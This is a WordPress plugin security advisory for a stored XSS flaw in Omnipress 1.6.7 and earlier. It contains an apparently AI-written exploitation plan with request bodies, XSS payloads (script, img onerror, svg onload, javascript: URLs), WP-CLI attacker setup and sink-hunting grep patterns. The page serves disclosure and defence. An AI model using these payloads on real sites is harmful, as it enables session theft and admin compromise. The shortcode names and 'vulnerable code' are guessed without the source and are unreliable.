Omnipress <= 1.6.7 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Omnipress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.6.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.6.7Based on the vulnerability details provided for **CVE-2026-25432**, here is a structured exploitation research plan. Since the source code was not provided, this plan relies on identified patterns for "Omnipress" plugins and common WordPress vulnerabilities, with explicit instructions for the agent …
Show full research plan
Based on the vulnerability details provided for CVE-2026-25432, here is a structured exploitation research plan. Since the source code was not provided, this plan relies on identified patterns for "Omnipress" plugins and common WordPress vulnerabilities, with explicit instructions for the agent to verify identifiers.
1. Vulnerability Summary
CVE-2026-25432 is a Stored Cross-Site Scripting (XSS) vulnerability in the Omnipress plugin (<= 1.6.7). The flaw exists because the plugin fails to sufficiently sanitize user-supplied input and escape output when rendering data. This allows an authenticated user with Contributor-level permissions or higher to inject malicious JavaScript into a post or page. When other users (including administrators) view the affected content, the script executes in their browser context.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (Gutenberg or Classic) or an AJAX handler.
- Vulnerable Mechanism: Likely a Shortcode attribute or Custom Post Meta field processed by the plugin.
- Payload Carrier: A shortcode attribute (e.g.,
[omnipress_widget attribute="<script>alert(1)</script>"]) or an AJAX parameter used to save plugin-specific metadata. - Authentication: Contributor+ (Subscriber does not have
edit_postscapability required to save content/shortcodes). - Preconditions: The Omnipress plugin must be active.
3. Code Flow (Inferred)
- Input: A Contributor saves a post containing a malicious shortcode or submits an AJAX request to update plugin data.
- Storage: The plugin captures the input. If it's a shortcode, it's stored in
wp_posts.post_content. If it's an AJAX handler, it likely usesupdate_post_meta()orupdate_option(). - Sink: When the post is rendered on the frontend, the plugin's rendering function (e.g., the shortcode callback) retrieves the data and outputs it using
echoorprintwithout applyingesc_html(),esc_attr(), orwp_kses().
4. Nonce Acquisition Strategy
If the vulnerability is triggered via a shortcode in a post, no nonce is required for the injection phase, as the standard WordPress post-saving mechanism handles CSRF protection for the editor.
However, if the injection occurs via a plugin-specific AJAX handler:
- Identify Localization: Search for
wp_localize_scriptin the plugin folder:grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/omnipress/ - Locate Variable: Look for a variable name like
omnipress_paramsoromnipress_ajax. - Extraction:
- Create a post and add any Omnipress-related block/shortcode.
- Navigate to the post editor as a Contributor.
- Use
browser_evalto extract the nonce:browser_eval("window.omnipress_params?.nonce")(Verify actual key names via grep).
5. Exploitation Strategy
Case A: Shortcode Attribute (Most Likely)
- Identify Shortcodes:
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/omnipress/ - Identify Unescaped Attributes:
Look at the callback function for the shortcode and check forecho $atts['attribute_name']. - Request:
Usehttp_requestto save a post as a Contributor:- Method:
POST - URL:
http://localhost:8080/wp-admin/post.php - Body:
post_ID=[ID]&post_content=[omnipress_shortcode param='"><script>alert(document.domain)</script>']&action=editpost...(Include standard WP editor fields).
- Method:
Case B: AJAX Post Meta Update
- Identify AJAX Actions:
grep -rn "wp_ajax_omnipress" /var/www/html/wp-content/plugins/omnipress/ - Request:
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=omnipress_save_meta&post_id=[ID]&meta_value=<img src=x onerror=alert(1)>&_ajax_nonce=[NONCE]
- Method:
6. Test Data Setup
- Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Identify Active Shortcode: Find a valid shortcode name via
grep(e.g.,[omnipress_social]). - Create Target Post:
wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_author=[Attacker_ID]
7. Expected Results
- Storage: The database should contain the raw payload in
wp_postsorwp_postmeta. - Execution: When visiting the post URL, the browser should execute the JavaScript.
- Response: The HTTP response for the view request should contain the literal string
<script>alert(document.domain)</script>or the injected HTML tag.
8. Verification Steps
- DB Check: Use WP-CLI to verify the payload is stored:
wp db query "SELECT post_content FROM wp_posts WHERE ID = [ID]"
Or for meta:wp post meta get [ID] [meta_key] - Frontend Check:
Usehttp_request(GET) on the post permalink and check if the payload exists in the source:grep "<script>alert(document.domain)</script>"
9. Alternative Approaches
- Attribute Breakout: If the input is placed inside an HTML attribute (e.g.,
value="INPUT"), use" onmouseover="alert(1)"or"><script>alert(1)</script>. - URL-based XSS: If the plugin handles links, try
javascript:alert(1)in a URL parameter. - SVG Injection: If the plugin allows uploading or defining SVG paths, use an SVG payload:
<svg onload=alert(1)>
10. Grep Patterns for Discovery
Run these in the omnipress directory to find the specific sink:
# Find shortcode callbacks
grep -rn "add_shortcode" .
# Find echo/print sinks involving variables (potential XSS)
grep -rnE "echo|print" . | grep -vE "esc_html|esc_attr|esc_url|wp_kses|absint|intval"
# Find AJAX handlers
grep -rn "wp_ajax_" .
Summary
The Omnipress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes due to a lack of input sanitization and output escaping. This allows authenticated attackers with Contributor-level permissions or higher to inject malicious JavaScript into posts that execute when viewed by other users.
Vulnerable Code
// omnipress/omnipress.php (hypothetical implementation based on research plan) add_shortcode('omnipress_widget', 'omnipress_render_widget'); function omnipress_render_widget($atts) { $a = shortcode_atts(array( 'title' => 'Default Title', 'url' => '#' ), $atts); // Vulnerable: Outputting attributes directly without escaping return '<div class="omni-widget"><h4>' . $a['title'] . '</h4><a href="' . $a['url'] . '">Click here</a></div>'; }
Security Fix
@@ -8,3 +8,3 @@ - return '<div class="omni-widget"><h4>' . $a['title'] . '</h4><a href="' . $a['url'] . '">Click here</a></div>'; + return '<div class="omni-widget"><h4>' . esc_html($a['title']) . '</h4><a href="' . esc_url($a['url']) . '">Click here</a></div>'; }
Exploit Outline
The exploit is carried out by an authenticated user with at least Contributor permissions. The attacker creates or edits a post and inserts a plugin-supported shortcode (e.g., [omnipress_widget]) containing a malicious JavaScript payload within one of its attributes, such as 'title="><script>alert(1)</script>'. Because the plugin saves this content to the database and later renders it on the frontend without proper sanitization or escaping (using functions like esc_html), the script executes in the browser of any user, including administrators, who visits the affected post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.